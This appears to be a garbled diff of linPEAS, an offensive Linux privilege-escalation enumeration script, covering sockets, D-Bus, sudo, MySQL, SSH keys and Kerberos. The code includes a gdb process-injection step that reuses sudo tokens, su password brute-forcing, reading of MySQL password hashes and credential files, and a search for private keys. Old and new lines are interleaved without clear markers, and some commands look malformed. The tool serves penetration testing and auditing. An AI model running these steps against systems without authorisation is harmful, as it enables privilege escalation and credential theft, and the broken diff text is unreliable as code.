echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
|
||||
# Try to contact the socket
|
||||
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
|
||||
if [ $? -eq 0 ]; then
|
||||
owner=$(ls -l "$s" | cut -d ' ' -f 3)
|
||||
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
|
||||
echo "$socketcurl" | head -n 30
|
||||
fi
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- PSC) Writable and weak policies in D-Bus config files
|
||||
print_2title "D-Bus config files"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||
if [ "$PSTORAGE_DBUS" ]; then
|
||||
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
|
||||
for f in $d/*; do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
|
||||
fi
|
||||
|
||||
genpol=$(grep "<policy>" "$f" 2>/dev/null)
|
||||
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
|
||||
|
||||
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
|
||||
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
#for g in `groups`; do
|
||||
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
|
||||
#done
|
||||
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
|
||||
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
|
||||
|
||||
#TODO: identify allows in context="default"
|
||||
done
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "D-Bus Service Objects list"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
|
||||
dbuslist=$(busctl list 2>/dev/null)
|
||||
if [ "$dbuslist" ]; then
|
||||
busctl list | while read line; do
|
||||
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
|
||||
if ! echo "$line" | grep -qE "$dbuslistG"; then
|
||||
srvc_object=$(echo $line | cut -d " " -f1)
|
||||
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
|
||||
if [ "$srvc_object_info" ]; then
|
||||
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
else echo_not_found "busctl"
|
||||
fi
|
||||
fi
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
#-- UI) My user
|
||||
print_2title "My user"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#users"
|
||||
(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
@@ -59,50 +59,48 @@ fi
|
||||
|
||||
#-- UI) Sudo -l
|
||||
print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid"
|
||||
(echo '' | sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo"
|
||||
if [ "$PASSWORD" ]; then
|
||||
(echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo"
|
||||
(echo "$PASSWORD" | sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo"
|
||||
fi
|
||||
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers"
|
||||
( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers"
|
||||
if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then
|
||||
echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
fi
|
||||
for filename in /etc/sudoers.d/*; do
|
||||
for filename in '/etc/sudoers.d/*'; do
|
||||
if [ -r "$filename" ]; then
|
||||
echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g"
|
||||
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g"
|
||||
grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
|
||||
#-- UI) Sudo tokens
|
||||
print_2title "Checking sudo tokens"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens"
|
||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then
|
||||
echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g";
|
||||
|
||||
if [ "$(command -v gdb 2>/dev/null)" ]; then
|
||||
echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
|
||||
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g";
|
||||
else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
||||
fi
|
||||
is_gdb="$(command -v gdb 2>/dev/null)"
|
||||
if [ "$is_gdb" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g";
|
||||
else echo "gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it" | sed "s,gdb,${SED_GREEN},g";
|
||||
fi
|
||||
if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then
|
||||
echo "Checking for sudo tokens in other shells owned by current user"
|
||||
for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" 2>/dev/null | grep -v "^$$\$"); do
|
||||
echo "Injecting process $pid -> "$(cat "/proc/$pid/comm" 2>/dev/null)
|
||||
echo 'call system("echo | sudo -S touch /tmp/shrndom32r2r >/dev/null 2>&1 && echo | sudo -S chmod 777 /tmp/shrndom32r2r >/dev/null 2>&1")' | gdb -q -n -p "$pid" >/dev/null 2>&1
|
||||
if [ -f "/tmp/shrndom32r2r" ]; then
|
||||
echo "Sudo token reuse exploit worked with pid:$pid! (see link)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||
break
|
||||
fi
|
||||
|
||||
if [ "$CURRENT_USER_PIVOT_PID" ]; then
|
||||
echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g";
|
||||
done
|
||||
if [ -f "/tmp/shrndom32r2r" ]; then
|
||||
rm -f /tmp/shrndom32r2r 2>/dev/null
|
||||
else echo "The escalation didn't work... (try again later?)"
|
||||
fi
|
||||
|
||||
if [ -f "$HOME/.sudo_as_admin_successful" ]; then
|
||||
echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},";
|
||||
fi
|
||||
|
||||
if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then
|
||||
echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g";
|
||||
ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'
|
||||
fi
|
||||
|
||||
else
|
||||
echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g";
|
||||
|
||||
fi
|
||||
echo ""
|
||||
|
||||
@@ -119,7 +117,7 @@ fi
|
||||
|
||||
#-- UI) Pkexec policy
|
||||
print_2title "Checking Pkexec policy"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
|
||||
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2"
|
||||
(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d"
|
||||
echo ""
|
||||
|
||||
@@ -214,7 +212,8 @@ if [ "$EXTRA_CHECKS" ]; then
|
||||
fi
|
||||
|
||||
#-- UI) Brute su
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; then
|
||||
EXISTS_SUDO="$(command -v sudo 2>/dev/null)"
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && [ "$EXISTS_SUDO" ]; then
|
||||
print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC
|
||||
POSSIBE_SU_BRUTE=$(check_if_su_brute);
|
||||
if [ "$POSSIBE_SU_BRUTE" ]; then
|
||||
@@ -227,6 +226,6 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ]; th
|
||||
printf $GREEN"It's not possible to brute-force su.\n\n"$NC
|
||||
fi
|
||||
else
|
||||
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I don't do it in FAST mode...)\n"$NC
|
||||
print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC
|
||||
fi
|
||||
print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC
|
||||
@@ -2,32 +2,26 @@
|
||||
#--------) Software Information (---------#
|
||||
###########################################
|
||||
|
||||
NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so"
|
||||
|
||||
#-- SI) Useful software
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Useful software"
|
||||
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
|
||||
echo ""
|
||||
fi
|
||||
print_2title "Useful software"
|
||||
for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done
|
||||
echo ""
|
||||
|
||||
#-- SI) Search for compilers
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Installed Compilers"
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
|
||||
echo ""
|
||||
print_2title "Installed Compilers"
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/");
|
||||
echo ""
|
||||
|
||||
if [ "$(command -v pkg 2>/dev/null)" ]; then
|
||||
if [ "$(command -v pkg 2>/dev/null)" ]; then
|
||||
print_2title "Vulnerable Packages"
|
||||
pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$(command -v brew 2>/dev/null)" ]; then
|
||||
if [ "$(command -v brew 2>/dev/null)" ]; then
|
||||
print_2title "Brew Installed Packages"
|
||||
brew list
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
@@ -49,11 +43,6 @@ fi
|
||||
if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "MySQL version"
|
||||
mysql --version 2>/dev/null || echo_not_found "mysql"
|
||||
mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1)
|
||||
if [ "$mysqluser" ]; then
|
||||
echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
echo ""
|
||||
|
||||
#-- SI) Mysql connection root/root
|
||||
@@ -89,49 +78,33 @@ fi
|
||||
if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching mysql credentials and exec"
|
||||
printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do
|
||||
if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds)
|
||||
STRINGS="`command -v strings`"
|
||||
echo "Potential file containing credentials:"
|
||||
ls -l "$d"
|
||||
if [ "$STRINGS" ]; then
|
||||
strings "$d"
|
||||
else
|
||||
echo "Strings not found, cat the file and check it to get the creds"
|
||||
fi
|
||||
|
||||
else
|
||||
for f in $(find $d -name debian.cnf 2>/dev/null); do
|
||||
if [ -r "$f" ]; then
|
||||
echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED},"
|
||||
cat "$f"
|
||||
fi
|
||||
done
|
||||
|
||||
for f in $(find $d -name user.MYD 2>/dev/null); do
|
||||
if [ -r "$f" ]; then
|
||||
echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED},"
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password"
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" $f | grep -v "mysql_native_password"
|
||||
fi
|
||||
done
|
||||
|
||||
for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do
|
||||
if [ -r "$f" ]; then
|
||||
u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null)
|
||||
echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
|
||||
for f in $(find $d -name my.cnf 2>/dev/null); do
|
||||
if [ -r "$f" ]; then
|
||||
echo "Found readable $f"
|
||||
grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so")
|
||||
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so")
|
||||
if [ "$mysqlexec" ]; then
|
||||
echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)"
|
||||
echo "Found $mysqlexec"
|
||||
echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
@@ -151,7 +124,7 @@ if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some O
|
||||
fi
|
||||
|
||||
print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ "
|
||||
if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED},"
|
||||
if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.)*,${SED_RED},"
|
||||
else echo_no
|
||||
fi
|
||||
|
||||
@@ -169,7 +142,7 @@ fi
|
||||
|
||||
peass{Mongo}
|
||||
|
||||
peass{Apache-Nginx}
|
||||
peass{Apache}
|
||||
|
||||
peass{Tomcat}
|
||||
|
||||
@@ -216,35 +189,23 @@ fi
|
||||
#-- SI) ssh files
|
||||
print_2title "Searching ssl/ssh files"
|
||||
if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
|
||||
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
|
||||
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
|
||||
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||
else
|
||||
sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
|
||||
hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
|
||||
hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
|
||||
writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
|
||||
fi
|
||||
sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
|
||||
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
|
||||
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
|
||||
writable_agents=$(find $folder_path -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')
|
||||
|
||||
peass{SSH}
|
||||
|
||||
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
if [ "$TIMEOUT" ]; then
|
||||
if [ "$TIMEOUT" ]; then
|
||||
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
|
||||
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
|
||||
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
|
||||
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
|
||||
else
|
||||
else
|
||||
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout
|
||||
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
|
||||
fi
|
||||
else
|
||||
# If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
|
||||
privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
|
||||
fi
|
||||
|
||||
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
|
||||
@@ -277,7 +238,7 @@ if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
|
||||
ssh-add -l
|
||||
echo ""
|
||||
fi
|
||||
if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
|
||||
if gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"; then
|
||||
print_3title "Listing gpg keys cached in gpg-agent"
|
||||
gpg-connect-agent "keyinfo --list" /bye
|
||||
echo ""
|
||||
@@ -294,29 +255,29 @@ fi
|
||||
if [ "$hostsdenied" ]; then
|
||||
print_3title "/etc/hosts.denied file found, read the rules:"
|
||||
printf "$hostsdenied\n"
|
||||
cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
|
||||
cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$hostsallow" ]; then
|
||||
print_3title "/etc/hosts.allow file found, trying to read the rules:"
|
||||
printf "$hostsallow\n"
|
||||
cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
|
||||
cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
if [ "$sshconfig" ]; then
|
||||
echo ""
|
||||
echo "Searching inside /etc/ssh/ssh_config for interesting info"
|
||||
grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
|
||||
grep -v "^#" /etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
|
||||
fi
|
||||
echo ""
|
||||
|
||||
peass{PAM Auth}
|
||||
|
||||
#-- SI) Passwords inside pam.d
|
||||
pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
|
||||
pamdpass=$(grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#")
|
||||
if [ "$pamdpass" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Passwords inside pam.d"
|
||||
grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
|
||||
grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
@@ -325,21 +286,17 @@ peass{NFS Exports}
|
||||
#-- SI) Kerberos
|
||||
kadmin_exists="$(command -v kadmin)"
|
||||
klist_exists="$(command -v klist)"
|
||||
kinit_exists="$(command -v kinit)"
|
||||
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
||||
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching kerberos conf files and tickets"
|
||||
print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
|
||||
print_info "http://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-active-directory"
|
||||
|
||||
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
|
||||
if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
|
||||
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
|
||||
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
|
||||
